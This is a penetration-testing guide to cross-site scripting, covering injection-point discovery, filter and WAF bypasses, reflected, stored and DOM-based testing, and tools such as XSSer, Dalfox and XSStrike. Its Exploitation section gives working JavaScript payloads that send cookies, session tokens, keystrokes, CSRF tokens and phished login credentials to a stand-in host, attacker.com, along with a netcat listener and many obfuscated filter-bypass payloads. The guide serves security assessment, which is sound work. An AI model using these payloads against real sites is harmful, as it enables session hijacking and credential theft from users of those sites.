Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) penetration testing guide covering reflected, stored, and DOM-based XSS vulnerabilities. Learn detection techniques, filter bypass methods, and exploitation using tools like XSSer, Dalfox, and manual testing for web application security assessments.

Cross-Site Scripting (XSS) occurs when untrusted user input is rendered in web pages without proper sanitization, allowing attackers to inject malicious JavaScript that executes in victims’ browsers, potentially stealing cookies, session tokens, or performing actions on behalf of users.

Enumeration

Identifying Injection Points

Common injection points:

  • URL parameters: ?search=test&message=hello
  • Form fields: comments, user profiles, search boxes
  • HTTP headers: User-Agent, Referer, X-Forwarded-For
  • Cookie values
  • POST/GET request bodies
  • JSON/XML data

Manual identification:

# Test URL parameters
curl "http://$RHOST/search?q=<test>"
curl "http://$RHOST/page?msg=<script>alert(1)</script>"

# Test POST data
curl -X POST "http://$RHOST/comment" -d "comment=<test>"

# Test headers
curl "http://$RHOST/page" -H "User-Agent: <test>"
curl "http://$RHOST/page" -H "Referer: <test>"

Look for reflected output:

  • Input appears in HTML response
  • JavaScript variables
  • HTML attributes
  • URL fragments

What to look for in responses:

  • Reflected input - Search response for your test payload:

    • HTML-encoded input (&lt;test&gt;) - May still be vulnerable
    • Unencoded input (<test>) - Likely vulnerable
    • Input in JavaScript context - High risk
  • Context identification - Where input appears matters:

    • Inside HTML tags: <div><test></div> - HTML context
    • Inside attributes: <div class="test"> - Attribute context
    • Inside JavaScript: var x = "test"; - JavaScript context

Next steps if input is reflected:

  1. Test basic XSS payload: <script>alert(1)</script>
  2. Identify context (HTML, attribute, JavaScript)
  3. Check for filtering/encoding
  4. Proceed to context-specific testing

Automated Detection

XSSer:

xsser -u "http://$RHOST/page?param=test"
xsser -u "http://$RHOST/page" --data="user=test&pass=test"

XSS Scanner (Burp extension):

  • Use Burp Suite Active Scanner
  • Configure XSS scanner extension

Dalfox:

dalfox url "http://$RHOST/page?param=test"
dalfox file request.txt
dalfox url "http://$RHOST/page?param=test" --cookie="session=abc123"

Information Gathering

Context Identification

HTML context:

# Test if input is reflected in HTML
curl "http://$RHOST/page?q=<test>" | grep -i "<test>"

JavaScript context:

# Check if input is in JavaScript variables
curl "http://$RHOST/page?q=test" | grep -i "var.*test"

Attribute context:

# Check if input is in HTML attributes
curl "http://$RHOST/page?class=test" | grep -i "class.*test"

URL context:

# Check if input is in URLs
curl "http://$RHOST/page?redirect=test" | grep -i "href.*test"

Character Filtering Detection

Test filtered characters:

# Test common filters
curl "http://$RHOST/page?q=<script>"
curl "http://$RHOST/page?q=<img src=x onerror=alert(1)>"
curl "http://$RHOST/page?q=javascript:alert(1)"
curl "http://$RHOST/page?q=onerror=alert(1)"

What to look for in responses:

  • Filtered characters - Check if input is:

    • Completely removed: <script> becomes empty
    • Encoded: <script> becomes &lt;script&gt;
    • Partially filtered: <script> becomes <scr>
    • Error messages: “Invalid input” or similar
  • WAF responses - Look for:

    • 403 Forbidden status
    • WAF challenge pages
    • “Blocked” messages in response body

Next steps if filtering detected:

  1. Test encoding bypasses (URL, HTML, Unicode)
  2. Try alternative tags (<img>, <svg>, <body>)
  3. Test event handlers (onerror, onload, onmouseover)
  4. Attempt WAF bypass techniques (case variation, tag splitting)
  5. If all fail, test DOM-based XSS (client-side only)

Encoding bypasses:

# URL encoding
curl "http://$RHOST/page?q=%3Cscript%3Ealert(1)%3C/script%3E"

# HTML encoding
curl "http://$RHOST/page?q=&lt;script&gt;alert(1)&lt;/script&gt;"

# Unicode encoding
curl "http://$RHOST/page?q=%u003cscript%u003e"

WAF Detection

Identify WAF rules:

# Test WAF blocking
curl "http://$RHOST/page?q=<script>alert(1)</script>"
curl "http://$RHOST/page?q=<script>alert(String.fromCharCode(88,83,83))</script>"

WAF bypass techniques:

# Case variation
curl "http://$RHOST/page?q=<ScRiPt>alert(1)</ScRiPt>"

# Tag splitting
curl "http://$RHOST/page?q=<scr<script>ipt>alert(1)</scr</script>ipt>"

# Event handlers
curl "http://$RHOST/page?q=<img src=x onerror=alert(1)>"
curl "http://$RHOST/page?q=<svg onload=alert(1)>"

Vulnerability Assessment

Reflected XSS Testing

Basic test:

curl "http://$RHOST/page?q=<script>alert(document.domain)</script>"

What to look for in curl responses:

  • Payload reflected in HTML (check with | grep script)
  • Note: curl won’t execute JavaScript - use browser for verification

Browser verification:

  • Open URL in browser with payload
  • JavaScript alert should appear
  • Browser DevTools Console shows errors if payload blocked
  • Network tab shows if external requests are made

Next steps after basic test:

  1. If alert appears: Vulnerability confirmed - proceed to exploitation
  2. If no alert: Check DevTools Console for errors, test alternative payloads
  3. If payload filtered: Try encoding bypasses or alternative tags

Polyglot payload:

curl "http://$RHOST/page?q=<img src=x onerror=alert(1)>"
curl "http://$RHOST/page?q=<svg/onload=alert(1)>"
curl "http://$RHOST/page?q=<body onload=alert(1)>"

What to look for with polyglot payloads:

  • Different payloads work in different contexts
  • Event handlers (onerror, onload) bypass <script> filters
  • Self-closing tags (<svg/>) may bypass tag parsing issues

Next steps:

  1. Test multiple payloads to find working one
  2. Note which payload works for exploitation
  3. If multiple work, choose simplest for PoC

DOM-based XSS:

# Test hash fragments
curl "http://$RHOST/page#<script>alert(1)</script>"

# Test location.href
curl "http://$RHOST/page?redirect=javascript:alert(1)"

Stored XSS Testing

Submit stored payload:

# Submit via form
curl -X POST "http://$RHOST/comment" -d "comment=<script>alert(1)</script>"

# Check if stored
curl "http://$RHOST/comments" | grep -i "<script>alert(1)</script>"

What to look for in responses:

  • Submission response - Check for:

    • Success message: “Comment posted” or 200 OK
    • Redirect to comments page
    • Payload stored confirmation
  • Retrieval response - Verify payload appears:

    • Payload in HTML source (use grep or browser View Source)
    • Payload unencoded (executable)
    • Payload persists across page refreshes

Next steps after stored XSS confirmed:

  1. Test in browser - visit comments/page where payload is displayed
  2. Alert should trigger automatically (no user interaction needed)
  3. More dangerous than reflected XSS - affects all visitors
  4. Proceed to exploitation (cookie theft, session hijacking)
  5. Document as high severity finding

File upload XSS:

# SVG with XSS
echo '<svg onload=alert(1)>' > xss.svg
curl -X POST "http://$RHOST/upload" -F "file=@xss.svg"

DOM XSS Testing

Source identification:

# Check sources
curl "http://$RHOST/page" | grep -i "location\|document\|window"

Sink testing:

# Test eval()
curl "http://$RHOST/page?callback=alert(1)"

# Test innerHTML
curl "http://$RHOST/page?content=<img src=x onerror=alert(1)>"

# Test document.write()
curl "http://$RHOST/page?name=<script>alert(1)</script>"

Exploitation

Basic cookie theft:

<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

What to look for during exploitation:

  • Browser behavior - Page redirects to attacker server
  • Attacker server logs - Check for incoming requests with cookies
  • Cookie format - Look for session tokens, authentication cookies
  • HttpOnly flag - Note if cookies are accessible (not HttpOnly)

Next steps after cookie theft:

  1. Set up listener: python3 -m http.server 8000 or nc -lvnp 80
  2. Extract cookies from requests
  3. Test cookie reuse in target application
  4. If session cookies work, authentication bypass achieved
  5. Document impact (session hijacking capability)

With Fetch API:

<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>

Advantages over document.location:

  • No page redirect (stealthier)
  • Works with CORS restrictions (if SameSite allows)
  • Can send to multiple endpoints

URL-encoded payload:

curl "http://$RHOST/page?q=%3Cscript%3Efetch%28%27http%3A//attacker.com/steal%3Fcookie%3D%27%2Bdocument.cookie%29%3C/script%3E"

Next steps:

  1. Encode payload if special characters filtered
  2. Test in browser after URL encoding
  3. Verify cookies are exfiltrated to attacker server

Session Hijacking

Steal session tokens:

<script>new Image().src='http://attacker.com/session?token='+document.cookie</script>

Using XMLHttpRequest:

<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://attacker.com/steal?cookie='+document.cookie);
xhr.send();
</script>

Keylogging

Capture keystrokes:

<script>
document.onkeypress = function(e) {
  new Image().src='http://attacker.com/keylog?key='+e.key;
}
</script>

Phishing

Fake login form:

<script>
document.body.innerHTML='<form action=http://attacker.com/steal method=POST><input name=user placeholder=Username><input name=pass type=password placeholder=Password><button>Login</button></form>';
</script>

CSRF Token Extraction

Extract CSRF tokens:

<script>
var token = document.querySelector('input[name="csrf_token"]').value;
fetch('http://attacker.com/token?csrf='+token);
</script>

Bypass Filters

Case bypass:

<ScRiPt>alert(1)</ScRiPt>
<SCRIPT>alert(1)</SCRIPT>

Tag alternatives:

<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe src=javascript:alert(1)>
<embed src=javascript:alert(1)>

Event handler alternatives:

<img src=x onerror=alert(1)>
<img src=x onmouseover=alert(1)>
<svg onload=alert(1)>
<body onfocus=alert(1)>
<input onfocus=alert(1) autofocus>

JavaScript protocol:

<a href=javascript:alert(1)>Click</a>
<iframe src=javascript:alert(1)>

Unicode encoding:

<script>\u0061lert(1)</script>
<script>eval('\x61lert(1)')</script>

Template literals (ES6):

<script>alert`1`</script>

String concatenation:

<script>eval('aler'+'t(1)')</script>
<script>['alert'](1)</script>

Common Tools

XSSer

Basic scan:

xsser -u "http://$RHOST/page?param=test"

Comprehensive scan:

xsser -u "http://$RHOST/page?param=test" --auto --reverse-check

Custom payload:

xsser -u "http://$RHOST/page?param=test" --Fp="<img src=x onerror=alert(1)>"

Dalfox

URL testing:

dalfox url "http://$RHOST/page?param=test"

File testing:

dalfox file request.txt

With cookies:

dalfox url "http://$RHOST/page?param=test" --cookie="session=abc123"

Custom payload:

dalfox url "http://$RHOST/page?param=test" --payload "<img src=x onerror=alert(1)>"

XSStrike

Basic scan:

python3 xsstrike.py -u "http://$RHOST/page?param=test"

Crawl and test:

python3 xsstrike.py -u "http://$RHOST" --crawl

File testing:

python3 xsstrike.py -l urls.txt

Manual Testing with Browser DevTools

Test in console:

// Test DOM manipulation
document.body.innerHTML='<img src=x onerror=alert(1)>';

// Test eval
eval('alert(1)');

// Test document.write
document.write('<script>alert(1)</script>');

Monitor network requests:

  • Open DevTools → Network tab
  • Submit XSS payload
  • Check for outbound requests to attacker server

XSS Types Reference

Reflected XSS (Non-Persistent)

  • Payload is in request and reflected in response
  • Requires user interaction (clicking link)
  • Most common type

Stored XSS (Persistent)

  • Payload is stored on server (database, file)
  • Executes when page is viewed
  • More dangerous, affects all visitors

DOM-based XSS

  • Vulnerability in client-side code
  • Payload never reaches server
  • JavaScript manipulates DOM unsafely